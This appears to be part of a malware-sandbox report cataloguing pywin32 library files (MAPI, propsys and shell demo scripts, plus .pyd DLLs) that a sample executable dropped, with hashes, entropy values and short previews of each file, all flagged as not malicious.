Preview:	# Converted "manually" from EMSABTAG.H.from .mapitags import (. PROP_TAG,. PT_APPTIME,. PT_BINARY,. PT_BOOLEAN,. PT_CLSID,. PT_CURRENCY,. PT_DOUBLE,. PT_ERROR,. PT_FLOAT,. PT_I2,. PT_I4,. PT_I8,. PT_LONG,. PT_LONGLONG,. PT_MV_APPTIME,. PT_MV_BINARY,. PT_MV_CLSID,. PT_MV_CURRENCY,. PT_MV_DOUBLE,. PT_MV_FLOAT,. PT_MV_I2,. PT_MV_I4,. PT_MV_I8,. PT_MV_LONG,. PT_MV_LONGLONG,. PT_MV_R4,. PT_MV_R8,. PT_MV_SHORT,. PT_MV_STRING8,. PT_MV_SYSTIME,. PT_MV_TSTRING,. PT_MV_UNICODE,. PT_NULL,. PT_OBJECT,. PT_R4,. PT_SHORT,. PT_STRING8,. PT_SYSTIME,. PT_TSTRING,. PT_UNICODE,. PT_UNSPECIFIED,.)..AB_SHOW_PHANTOMS = 2.AB_SHOW_OTHERS = 4..# Flags for ulFlag on ResolveNames.EMS_AB_ADDRESS_LOOKUP = 1...# Constructed, but externally visible..PR_EMS_AB_SERVER = PROP_TAG(PT_TSTRING, 65534).PR_EMS_AB_SERVER_A = PROP_TAG(PT_STRING8, 65534).PR_EMS_AB_SERVER_W = PROP_TAG(PT_UNICODE, 65534).PR_

C:\recover\pw\Lib\site-packages\win32comext\mapi\mapi.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	162304
Entropy (8bit):	6.596400165237489
Encrypted:	false
SSDEEP:	3072:NiUZOyQPazr+cFBwEsQkNuG/vYkZ4JIJUUienvbDy+:NiU7SQwRvRZ4KJUUNvb
MD5:	9387B5DBD459972655D7B59EE03AE708
SHA1:	5D73A2D0F3AD53F63C31173F6B32DD38E8CA9B28
SHA-256:	724A46CF68AE5EBEDD842CCC523FF4E41985A543326D62BB82A5983530362762
SHA-512:	4FCA0E27E90E8BC73BAAFA9A9EFD50231B8B8AD41797A54B5DB7363F44874D8A0B732B7FB6B87193BC4B12E5CDDA8AF37F92FF09E13D4E2A21E790A1D0AD3AFF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}9V..W...W...W..d....W..iV...W..iR...W..iS...W..iT...W.TiV...W..wS...W.2uV...W..wV...W...V.2.W.Ti^...W.TiW...W.TiU...W.Rich..W.................PE..L......d...........!................w}....................................................@.........................P+..H....+..........L.......................P8......T...........................@...@............................................text...+........................... ..`.rdata..B...........................@..@.data....%...P......................@....rsrc...L............<..............@..@.reloc..P8.......:...@..............@..B........................................................................................................................................................................................................................................................................................

C:\recover\pw\Lib\site-packages\win32comext\mapi\mapitags.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	51436
Entropy (8bit):	4.950931920129641
Encrypted:	false
SSDEEP:	768:/NSkrYNyFN+Hw+TtyYCay1V1b2a/HpNp/:XrYNyFN+Hw+hyYCayzHpNp/
MD5:	2CF7198F848CE136CD67A81D89FD1C2F
SHA1:	82F94791179550740AC42EF06F3483C212AABE38
SHA-256:	4AABD2B46EDDE811134333BF637088E6110C6B2849FFF1C0301DA365DDACF5BB
SHA-512:	CFC2958555B19D76C34DD251088C813E49EA6A9DD310490106819353EB7A3479319FD50092BA55A2A41AAAC7AF71A1AAA56CBC5274A8FE4EA74932884B3537AE
Malicious:	false
Preview:	MV_FLAG = 4096 # Multi-value flag..PT_UNSPECIFIED = 0.PT_NULL = 1.PT_I2 = 2.PT_LONG = 3.PT_R4 = 4.PT_DOUBLE = 5.PT_CURRENCY = 6.PT_APPTIME = 7.PT_ERROR = 10.PT_BOOLEAN = 11.PT_OBJECT = 13.PT_I8 = 20.PT_STRING8 = 30.PT_UNICODE = 31.PT_SYSTIME = 64.PT_CLSID = 72.PT_BINARY = 258..PT_SHORT = PT_I2.PT_I4 = PT_LONG.PT_FLOAT = PT_R4.PT_R8 = PT_DOUBLE.PT_LONGLONG = PT_I8..PT_MV_I2 = MV_FLAG \| PT_I2.PT_MV_LONG = MV_FLAG \| PT_LONG.PT_MV_R4 = MV_FLAG \| PT_R4.PT_MV_DOUBLE = MV_FLAG \| PT_DOUBLE.PT_MV_CURRENCY = MV_FLAG \| PT_CURRENCY.PT_MV_APPTIME = MV_FLAG \| PT_APPTIME.PT_MV_SYSTIME = MV_FLAG \| PT_SYSTIME.PT_MV_STRING8 = MV_FLAG \| PT_STRING8.PT_MV_BINARY = MV_FLAG \| PT_BINARY.PT_MV_UNICODE = MV_FLAG \| PT_UNICODE.PT_MV_CLSID = MV_FLAG \| PT_CLSID.PT_MV_I8 = MV_FLAG \| PT_I8..PT_MV_SHORT = PT_MV_I2.PT_MV_I4 = PT_MV_LONG.PT_MV_FLOAT = PT_MV_R4.PT_MV_R8 = PT_MV_DOUBLE.PT_MV_LONGLONG = PT_MV_I8..PT_TSTRING = PT_UNICODE # ???.PT_MV_TSTRING = MV_FLAG \| PT_UNICODE...PROP_TYPE_MASK = 65535 # Mask for Prope

C:\recover\pw\Lib\site-packages\win32comext\mapi\mapiutil.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7276
Entropy (8bit):	4.593130231727299
Encrypted:	false
SSDEEP:	96:bY5s4PHIsQgecTdZuFlevL8BCvjuo4VVKPRZ27hA66bXQPSNuG1oGMYceMIH71LS:cFRecTPyevhvKT2RMyiwjE+4
MD5:	075C7F5E9CB9FC6385C866FC924A4C22
SHA1:	CA536F458253EFF4BCAF1BC859922182051B1BA7
SHA-256:	357D64E7D2347960A41CC1ABC625A7559B537AE78EDFAD74B9C767CF66B88928
SHA-512:	020AD4CBC119ADD7AB61BFEF1BE14162967FD2B1047AA0221BCE900E945612C42D1B44B8291C7E6E36A04398D35E3ABC559C76B9D91A864A41316374C5517DFA
Malicious:	false
Preview:	# General utilities for MAPI and MAPI objects..# We used to use these old names from the 'types' module....TupleType = tuple.ListType = list.IntType = int.import pythoncom.from pywintypes import TimeType..from . import mapi, mapitags..prTable = {}...def GetPropTagName(pt):. if not prTable:. for name, value in mapitags.__dict__.items():. if name[:3] == "PR_":. # Store both the full ID (including type) and just the ID.. # This is so PR_FOO_A and PR_FOO_W are still differentiated,. # but should we get a PT_FOO with PT_ERROR set, we fallback. # to the ID... # String types should have 3 definitions in mapitags.py. # PR_BODY.= PROP_TAG( PT_TSTRING,.4096). # PR_BODY_W.= PROP_TAG( PT_UNICODE, 4096). # PR_BODY_A.= PROP_TAG( PT_STRING8, 4096). # The following change ensures a lookup using only the the. # property id returns the

C:\recover\pw\Lib\site-packages\win32comext\propsys\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	27
Entropy (8bit):	3.7784235030301256
Encrypted:	false
SSDEEP:	3:SnEbW2:SEbH
MD5:	45224049EC07B287039847222E800760
SHA1:	EC8739A7A29F6642BF5BC6DBA2D4036A0180D440
SHA-256:	CC02539C2EAA6067E144A7C9391F3E5B2AE9ECDB293A769EA18D851E71B8A436
SHA-512:	98945673C71CBA233CC3983D53813483626E5B1BE4EC5E297092F76FE2677BEC3E04A1950BA7BFD8C1C9658AD8456E19CC069A3C86F67BB02BCB2A36DB1CE558
Malicious:	false
Preview:	# this is a python package.

C:\recover\pw\Lib\site-packages\win32comext\propsys\propsys.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	115712
Entropy (8bit):	6.8690282004403365
Encrypted:	false
SSDEEP:	3072:2sS7bWVZ7JZp8WHDCjXYD2QgqHEkVfNZ6:DSeVZ7JZSkCjXYDJgqkkV
MD5:	6DFB5F1EB67364BB5610B222C6B710E8
SHA1:	96D751A687B74BCE8BE5277A3228D8B3EC72B854
SHA-256:	ABE5965D7662635090B4FA7A5C814B3E68A77659721261102D944C3AB5517A27
SHA-512:	FAE014A53CAD028934CC9172DD8642E00CF2A18B60F552578FD1FE03344F71F266D8693DF704347E3D8D68E0BF0ADB46B1A80CE633022BCB7F66FB03D6A290E3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......W..............=....A......A......A.........................A....................................Rich...................PE..L......d...........!......................................................................@.........................@.......4...........T...........................0q..T...........................`S..@.......................@....................text............................... ..`.rdata..............................@..@.data...............................@....rsrc...T...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\recover\pw\Lib\site-packages\win32comext\propsys\pscon.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	48622
Entropy (8bit):	5.540142077557078
Encrypted:	false
SSDEEP:	768:K1MBiUiNoCeRDokY3YATb6Db9CbYTYJ8IVMztBa6wb:GMBhiNFHn6Sb
MD5:	1D421DD2742CBEF8E1CCEF15A725B59A
SHA1:	87EEC2599AD35F80AB11A55F1C068944D3FE7BFB
SHA-256:	22CF38BC9BBBB7402D5C9A769C75EDBCD93181503E74506AE340360EF50FD009
SHA-512:	8131DDC13374BC6B4CB9B9BFA65A9A675BDAED5888A44C945856708138EBAE5D2A9C9C0DD2440A145AEEB37F47398E55CAF208367C8BF4DEB2ADFB26472EA7F7
Malicious:	false
Preview:	# hand generated from propsys.h..## PROPENUMTYPE, used with IPropertyEnumType.PET_DISCRETEVALUE = 0.PET_RANGEDVALUE = 1.PET_DEFAULTVALUE = 2.PET_ENDRANGE = 3..PDTF_DEFAULT = 0.PDTF_MULTIPLEVALUES = 0x1.PDTF_ISINNATE = 0x2.PDTF_ISGROUP = 0x4.PDTF_CANGROUPBY = 0x8.PDTF_CANSTACKBY = 0x10.PDTF_ISTREEPROPERTY = 0x20.PDTF_INCLUDEINFULLTEXTQUERY = 0x40.PDTF_ISVIEWABLE = 0x80.PDTF_ISQUERYABLE = 0x100.PDTF_ISSYSTEMPROPERTY = 0x80000000.PDTF_MASK_ALL = 0x800001FF..PDVF_DEFAULT = 0.PDVF_CENTERALIGN = 0x1.PDVF_RIGHTALIGN = 0x2.PDVF_BEGINNEWGROUP = 0x4.PDVF_FILLAREA = 0x8.PDVF_SORTDESCENDING = 0x10.PDVF_SHOWONLYIFPRESENT = 0x20.PDVF_SHOWBYDEFAULT = 0x40.PDVF_SHOWINPRIMARYLIST = 0x80.PDVF_SHOWINSECONDARYLIST = 0x100.PDVF_HIDELABEL = 0x200.PDVF_HIDDEN = 0x800.PDVF_CANWRAP = 0x1000.PDVF_MASK_ALL = 0x1BFF..PDDT_STRING = 0.PDDT_NUMBER = 1.PDDT_BOOLEAN = 2.PDDT_DATETIME = 3.PDDT_ENUMERATED = 4..PDGR_DISCRETE = 0.PDGR_ALPHANUMERIC = 1.PDGR_SIZE = 2.PDGR_DYNAMIC = 3.PDGR_DATE = 4.PDGR_PERCENT = 5.PDGR_ENUM

C:\recover\pw\Lib\site-packages\win32comext\propsys\test\testpropsys.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	206
Entropy (8bit):	4.512680599938387
Encrypted:	false
SSDEEP:	6:1KvC8P5JsFKncCZk1MPMFMZ4B/EMAW+HQOzn:1Kq8P5J8KFZk1M1Z4BqnQOzn
MD5:	3D5C530DF089F313087D12ED6DA42A3B
SHA1:	01D3AC9D95F9E4331FF36079331CFB6F17CFD792
SHA-256:	E431EA1C8FD25425C922230BCC5591F274519F77D3E29133864EC8139256FD5B
SHA-512:	006FDC7754E0FCA9A367DEFD90BB5FB420B924DF4F6ECEC760CA0E5461DD1490A3F866F470FEE53F8C77DD7AA11FA9D2A6E2E835AA6075264E0A60D07AEB5DC3
Malicious:	false
Preview:	from win32com.propsys import propsys, pscon..print("propsys was imported (sorry - that is the extent of the tests,").print("but see the shell folder_view demo, which uses this module)").# that's all folks!.

C:\recover\pw\Lib\site-packages\win32comext\shell\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	135
Entropy (8bit):	4.680015638860431
Encrypted:	false
SSDEEP:	3:SAFMBm3EAAGHQ+HWg7AIvGUVsLHKFaWlQkEr66NRS66u:SgCmCGHQqAaGUWLHKkWlQkAS6v
MD5:	F45C606FFC55FD2F41F42012D917BCE9
SHA1:	CA93419CC53FB4EFEF251483ABE766DA4B8E2DFD
SHA-256:	F0BB50AF1CAEA5B284BD463E5938229E7D22CC610B2D767EE1778E92A85849B4
SHA-512:	BA7BEBE62A6C2216E68E2D484C098662BA3D5217B39A3156B30E776D2BB3CF5D4F31DCDC48A2EB99BC5D80FFFE388B212EC707B7D10B48DF601430A07608FD46
Malicious:	false
Preview:	# See if we have a special directory for the binaries (for developers).import win32com..win32com.__PackageSupportBuildPath__(__path__).

C:\recover\pw\Lib\site-packages\win32comext\shell\demos\IActiveDesktop.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2122
Entropy (8bit):	4.964501903065558
Encrypted:	false
SSDEEP:	48:fDjVVIN+cKqRT1/t/od+0v0LxIJVNjI7j1y4K4d3i7iAarHWfj:fDjVVU7F/UpVNM7Li7iAa4j
MD5:	430D24F2ABC9FCAFF969FD5A149094B4
SHA1:	04A9949F80250E04AE58B42EF8B2E3E1213261C4
SHA-256:	8D9C4A29DBFCE83EBFD31DAAC23D346FD19271578D02B17B9520FE26E22BC471
SHA-512:	A627C96ACDDD9E01865257CFEF20A124BB919B49FFAE27526821EDD22F76D29DCBB8B8ADAFCF6FF74D9B8E4B28B8EF27D24772895E69F83FDA7275CB469CA172
Malicious:	false
Preview:	import time..import pythoncom.from win32com.shell import shell, shellcon..website = "https://github.com/mhammond/pywin32/".iad = pythoncom.CoCreateInstance(. shell.CLSID_ActiveDesktop,. None,. pythoncom.CLSCTX_INPROC_SERVER,. shell.IID_IActiveDesktop,.).opts = iad.GetDesktopItemOptions().if not (opts["ActiveDesktop"] and opts["EnableComponents"]):. print("Warning: Enabling Active Desktop"). opts["ActiveDesktop"] = True. opts["EnableComponents"] = True. iad.SetDesktopItemOptions(opts). iad.ApplyChanges(0xFFFF). iad = None. ## apparently takes a short while for it to become active. time.sleep(2). iad = pythoncom.CoCreateInstance(. shell.CLSID_ActiveDesktop,. None,. pythoncom.CLSCTX_INPROC_SERVER,. shell.IID_IActiveDesktop,. )..cnt = iad.GetDesktopItemCount().print("Count:", cnt).for i in range(cnt):. print(iad.GetDesktopItem(i))..component = {. "ID": cnt + 1,. "ComponentType": shellcon.COMP_TYPE_WEBSITE,. "

C:\recover\pw\Lib\site-packages\win32comext\shell\demos\IFileOperationProgressSink.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5153
Entropy (8bit):	4.493888163704418
Encrypted:	false
SSDEEP:	48:hVVpNvkw045fnZFjVrYgoh1ZRlCkAOnYBlrIjxlHd9HlehlkPd/iOnYBlrzlFBdB:hVV7ljnZFjqRY0jrZQhcqBICJDhyXpO
MD5:	B8F2EA8D679EA86D5FFBFC13C2E7315C
SHA1:	64B8F2FA27152D21EF833139CF22F15125C9A197
SHA-256:	345A7D4623738C33EF0FB4FB153A16BA4FB4B8C7C33E4A828015BC8CD2445FB4
SHA-512:	FC9C4708042CFDC079D27F088CCC29F3887C30574F89DB1EDFFAE602F9CE2B834BB33E47952D792727486D052E77B410EC9058FB4694384F99D7EA20EAC5436F
Malicious:	false
Preview:	# Sample implementation of IFileOperationProgressSink that just prints.# some basic info..import pythoncom.from win32com.server.policy import DesignatedWrapPolicy.from win32com.shell import shell, shellcon..tsf_flags = list(. (k, v) for k, v in list(shellcon.__dict__.items()) if k.startswith("TSF_").)...def decode_flags(flags):. if flags == 0:. return "TSF_NORMAL". flag_txt = "". for k, v in tsf_flags:. if flags & v:. if flag_txt:. flag_txt = flag_txt + "\|" + k. else:. flag_txt = k. return flag_txt...class FileOperationProgressSink(DesignatedWrapPolicy):. _com_interfaces_ = [shell.IID_IFileOperationProgressSink]. _public_methods_ = [. "StartOperations",. "FinishOperations",. "PreRenameItem",. "PostRenameItem",. "PreMoveItem",. "PostMoveItem",. "PreCopyItem",. "PostCopyItem",. "PreDeleteItem",. "PostDeleteItem",. "PreNewItem"

C:\recover\pw\Lib\site-packages\win32comext\shell\demos\IShellLinkDataList.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1917
Entropy (8bit):	5.149600843639279
Encrypted:	false
SSDEEP:	48:ZgNV0sIOM+JCH3PaHA6Fx1IEhlI7/7UDIQGR:ZgNV0szMCCHAMqI
MD5:	E789F5DADE7F09955A2F0ADD9A4ED147
SHA1:	CFAA354D98D8D97823E831720080E83B41C25D41
SHA-256:	10485012A34EA3BDF42454F0BE557B03A0C957FD3A4B3855DC74FC9673C7C5D8
SHA-512:	2A0415426F41C995E5CDDA7E097ADC20F831917C64D3E6F1F5E425AF6182BA37076E6D0766E203096AE695B7038A26B91BF9AD2A6A348D3D7CA1EA40924719B7
Malicious:	false
Preview:	import os.import sys..import pythoncom.import win32api.from win32com.shell import shell, shellcon..temp_dir = win32api.GetTempPath().linkname = win32api.GetTempFileName(temp_dir, "cmd")[0].os.remove(linkname).linkname += ".lnk".print("Link name:", linkname).ish = pythoncom.CoCreateInstance(. shell.CLSID_ShellLink, None, pythoncom.CLSCTX_INPROC_SERVER, shell.IID_IShellLink.).ish.SetPath(os.environ["cOMSPEC"]).ish.SetWorkingDirectory(os.path.split(sys.executable)[0]).ish.SetDescription("shortcut made by python")..console_props = {. "Signature": shellcon.NT_CONSOLE_PROPS_SIG,. "InsertMode": True,. "FullScreen": False, ## True looks like "DOS Mode" from win98!. "FontFamily": 54,. "CursorSize": 75, ## pct of character size. "ScreenBufferSize": (152, 256),. "AutoPosition": False,. "FontSize": (4, 5),. "FaceName": "",. "HistoryBufferSize": 32,. "InputBufferSize": 0,. "QuickEdit": True,. "Font": 0, ## 0 should always be present, use win32console.Get

C:\recover\pw\Lib\site-packages\win32comext\shell\demos\ITransferAdviseSink.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2870
Entropy (8bit):	4.718263766235126
Encrypted:	false
SSDEEP:	48:xxVVpNvgDzNwMkHFaVNIWjk14WPD/QBbqlnlQFloMlb1nbMG:3VV7gDCME0VLjAVPD/gxMM+G
MD5:	43BEB126A494AC8C2DC7690F1ACA9FF8
SHA1:	14F2B9A06E3ACB4DB380DFF93B9C1A42F128D238
SHA-256:	BDF8750F39B827CAD3139D117A7FB331936D3D82BB4D569918A72AE081B17AFB
SHA-512:	4B65BB067F25C504CF974CE055DF843E362267085C18811D523EAEC3FC42237F795C97469FC7FDC29CA4C367F11C093F21745B9674F173D513AC2F7C327BC77E
Malicious:	false
Preview:	# ITransferAdviseSink implementation template..import pythoncom.from win32com.server.policy import DesignatedWrapPolicy.from win32com.shell import shell, shellcon..tsf_flags = list(. (k, v) for k, v in list(shellcon.__dict__.items()) if k.startswith("TSF_").)...def decode_flags(flags):. if flags == 0:. return "TSF_NORMAL". flag_txt = "". for k, v in tsf_flags:. if flags & v:. if flag_txt:. flag_txt = flag_txt + "\|" + k. else:. flag_txt = k. return flag_txt...TRANSFER_ADVISE_STATES = {}.for k, v in list(shellcon.__dict__.items()):. if k.startswith("TS_"):. TRANSFER_ADVISE_STATES[v] = k...def decode_flags(flags):. if flags == 0:. return "TSF_NORMAL". flag_txt = "". for k, v in tsf_flags:. if flags & v:. if flag_txt:. flag_txt = flag_txt + "\|" + k. else:. flag_txt = k. return flag_txt...class TransferAdviseSink(DesignatedW

C:\recover\pw\Lib\site-packages\win32comext\shell\demos\IUniformResourceLocator.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	4.966229174278164
Encrypted:	false
SSDEEP:	48:wVYSOct+0NStW7IQ5YIQnrXaVs/Oc9LIQAdiWyvvsO7iWavvPQu:wVYSO4xNStWP52j2sGcZ/Jvs9lvPn
MD5:	B62C30C437ABEF50FE0779C496B510E1
SHA1:	16774174E1A2B133AA8F4D872CD38DF7D9A874B2
SHA-256:	72C6B1A79FE131E4947A297867952B00373C8122897C499AE8C9CC32929D314C
SHA-512:	7C06D5B8E4150EE73D6DB641C6D466F1F2DBC08EA38028B66AFF447C3C3D97DF079E9E4D53DED7404CAA1CFF2D035D2344139329C8E333A7728CEFB79E36AB4B
Malicious:	false
Preview:	import os..import pythoncom.import win32api.from win32com.shell import shell, shellcon...class InternetShortcut:. def __init__(self):. self._base = pythoncom.CoCreateInstance(. shell.CLSID_InternetShortcut,. None,. pythoncom.CLSCTX_INPROC_SERVER,. shell.IID_IUniformResourceLocator,. ).. def load(self, filename):. # Get an IPersist interface. # which allows save/restore of object to/from files. self._base.QueryInterface(pythoncom.IID_IPersistFile).Load(filename).. def save(self, filename):. self._base.QueryInterface(pythoncom.IID_IPersistFile).Save(filename, 1).. def __getattr__(self, name):. if name != "_base":. return getattr(self._base, name)...temp_dir = win32api.GetTempPath().linkname = win32api.GetTempFileName(temp_dir, "ish")[0].print("Link:", linkname).os.remove(linkname).linkname += ".url"..ish = InternetShortcut().ish.SetURL("https://github.com/mhammond/pywin32")

C:\recover\pw\Lib\site-packages\win32comext\shell\demos\browse_for_folder.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1502
Entropy (8bit):	4.753864989752387
Encrypted:	false
SSDEEP:	24:l+IVwvYHfCpHQjcGFVCpEEwvpEJgzQMb4pjEGD+YAm9MsH0czgCRE/:RV0NpHQjPFHNYgZ4mRYAg0c8CK/
MD5:	FC21F7F05AFE0DC055E2D44483DB95B5
SHA1:	18ABBBCB5A6DF731A0743B79C28A7564B3B32275
SHA-256:	45E1A6F22EFC25D4A64EDF4F0995ECF702EE47D39D81F267DDAF2DB83BC886AA
SHA-512:	506C9997292E47408282B35B6299F6112C359429C8207218C1EE327BE7AC75F178D8C21A6D2B5D262FCDF28CCAC40B6646C9E882207F616B8B59E1071C160A32
Malicious:	false
Preview:	# A couple of samples using SHBrowseForFolder..import os..import win32gui.from win32com.shell import shell, shellcon...# A callback procedure - called by SHBrowseForFolder.def BrowseCallbackProc(hwnd, msg, lp, data):. if msg == shellcon.BFFM_INITIALIZED:. win32gui.SendMessage(hwnd, shellcon.BFFM_SETSELECTION, 1, data). elif msg == shellcon.BFFM_SELCHANGED:. # Set the status text of the. # For this message, 'lp' is the address of the PIDL.. pidl = shell.AddressAsPIDL(lp). try:. path = shell.SHGetPathFromIDList(pidl). win32gui.SendMessage(hwnd, shellcon.BFFM_SETSTATUSTEXT, 0, path). except shell.error:. # No path for this PIDL. pass...if __name__ == "__main__":. # Demonstrate a dialog with the cwd selected as the default - this. # must be done via a callback function.. flags = shellcon.BIF_STATUSTEXT. shell.SHBrowseForFolder(. 0, # parent HWND. None, # root PIDL..

C:\recover\pw\Lib\site-packages\win32comext\shell\demos\create_link.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2336
Entropy (8bit):	4.515110795958441
Encrypted:	false
SSDEEP:	48:tmgW5gtjVxut+UNStW7IQ5YIQnMXavrYfruIi0tTkMI5S8LkKhB:2wjVxO3NStWP52o8r8tTkt
MD5:	BFA30B4C6A14C8E48D8073FEC282CADB
SHA1:	B352384CE0DFFC8386692D6F1D0C4DB11ACD7559
SHA-256:	013CAA4F59D92FF001B6A7DADBF13C025B49E27800E3F07C81505550F162C71B
SHA-512:	D097453E1A8DF523D6B8D3C448C8A52171CD8C44062B3BE22F43521F0F0028ADA32F2FFFD64FA03694ED3B08D9D692AC17F7A025FD3F43781C4A79148F94E5E2
Malicious:	false
Preview:	# link.py.# From a demo by Mark Hammond, corrupted by Mike Fletcher.# (and re-corrupted by Mark Hammond :-).import os..import pythoncom.from win32com.shell import shell...class PyShortcut:. def __init__(self):. self._base = pythoncom.CoCreateInstance(. shell.CLSID_ShellLink,. None,. pythoncom.CLSCTX_INPROC_SERVER,. shell.IID_IShellLink,. ).. def load(self, filename):. # Get an IPersist interface. # which allows save/restore of object to/from files. self._base.QueryInterface(pythoncom.IID_IPersistFile).Load(filename).. def save(self, filename):. self._base.QueryInterface(pythoncom.IID_IPersistFile).Save(filename, 0).. def __getattr__(self, name):. if name != "_base":. return getattr(self._base, name)...if __name__ == "__main__":. import sys.. if len(sys.argv) < 2:. print(. "Usage: %s LinkFile [path [, args[, description[, working_dir]]]]\n\nIf LinkF

C:\recover\pw\Lib\site-packages\win32comext\shell\demos\dump_link.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1688
Entropy (8bit):	4.793028770522822
Encrypted:	false
SSDEEP:	48:lMghjVigDZRSd+rIQt5lRhZf2L6l7swsIp:lMghjViERiiHlR3tswsIp
MD5:	C9D27A3E3BD79CEFD461DFEDE9B7A4B3
SHA1:	4E1CCC49E93BA04F4655FC0FA5C2A8C89B6D8E52
SHA-256:	60AF94B8D6E812A38AAFBB620CD5BC59C7005128E7E6B5A5E4EB2652AB532EB8
SHA-512:	47D3C1AF0DFC9846E242592E41729A6D95664157DED107852B57394286F6A0B3BFE21AFB696D2958545B3E0B32FA0F1D4D7783856B42FDB3CE97FF4E255D8919
Malicious:	false
Preview:	# dump_link.py - dumps information about shell shortcuts.#.import glob.import os.import sys..import pythoncom.from win32com.shell import shell, shellcon.from win32com.storagecon import *...def DumpLink(fname):. shellLink = pythoncom.CoCreateInstance(. shell.CLSID_ShellLink,. None,. pythoncom.CLSCTX_INPROC_SERVER,. shell.IID_IShellLink,. ). persistFile = shellLink.QueryInterface(pythoncom.IID_IPersistFile). persistFile.Load(fname, STGM_READ). shellLink.Resolve(0, shell.SLR_ANY_MATCH \| shell.SLR_NO_UI). fname, findData = shellLink.GetPath(0). print("Filename:", fname, ", UNC=", shellLink.GetPath(shell.SLGP_UNCPRIORITY)[0]). print("Description:", shellLink.GetDescription()). print("Working Directory:", shellLink.GetWorkingDirectory()). print("Icon:", shellLink.GetIconLocation())...def FavDumper(nothing, path, names):. # called by os.path.walk. for name in names:. print(name, end=" "). try:. DumpLink(n

C:\recover\pw\Lib\site-packages\win32comext\shell\demos\explorer_browser.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4956
Entropy (8bit):	4.742030097814967
Encrypted:	false
SSDEEP:	96:WCfgJV/BUxRB+DVbYy2X6JenZ02yiRcGJTQWaZNfmiGpcNIwi:WCfEBmkVb2RnLHvxaDeiHuwi
MD5:	A67FC9C637F34AE4FD7BBC3BF56BF1AA
SHA1:	EA814518E366440B782F568FF609DCE47CBDDF74
SHA-256:	67D2B811101F7034AB03558B7502EA50D0D66AF60EE69924BD3FB46873107F31
SHA-512:	76357461D0B5033DA1995BA7A35DBE26EA10105668DFBC0F4226182CCCD419F3E5EF278DE88F2F19F52953871C0077E4CC213BAE1C3FCB65F044A3078AD64A5D
Malicious:	false
Preview:	# A sample of using Vista's IExplorerBrowser interfaces....# Currently doesn't quite work:.# * CPU sits at 100% while running...import sys..import pythoncom.import win32api.import win32con.import win32gui.from win32com.server.util import unwrap, wrap.from win32com.shell import shell, shellcon..# event handler for the browser..IExplorerBrowserEvents_Methods = """OnNavigationComplete OnNavigationFailed . OnNavigationPending OnViewCreated""".split()...class EventHandler:. _com_interfaces_ = [shell.IID_IExplorerBrowserEvents]. _public_methods_ = IExplorerBrowserEvents_Methods.. def OnNavigationComplete(self, pidl):. print("OnNavComplete", pidl).. def OnNavigationFailed(self, pidl):. print("OnNavigationFailed", pidl).. def OnNavigationPending(self, pidl):. print("OnNavigationPending", pidl).. def OnViewCreated(self, view):. print("OnViewCreated", view). # And if our demo view has been registered, it may

C:\recover\pw\Lib\site-packages\win32comext\shell\demos\servers\column_provider.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3743
Entropy (8bit):	4.695336004293959
Encrypted:	false
SSDEEP:	96:ufgZDltoV4544MKfOV7ORD16EnUBCrtb5zQy+kS36LhyFtDQ/MBXwgGR:AgHnkaQ7ORD16EUejQ3kS36LhyFtDQ//
MD5:	6C4997A0590505D6B9D4E11BE2B0428E
SHA1:	822B2683FB86331F198B5F917F04CDC68757855D
SHA-256:	7BCDA7BCC2B8D503E260DAD199E8202CA143E214C22F70B31AEE1A7ECA3E8C66
SHA-512:	1CBC4EA469C883776B5A6EC9DFCC9919E617695F1F7D0984ECA89D631DB46075EA2BBF50F3D69B9704381839A778D78FBDBF691908B51A48751673D19DFEF43B
Malicious:	false
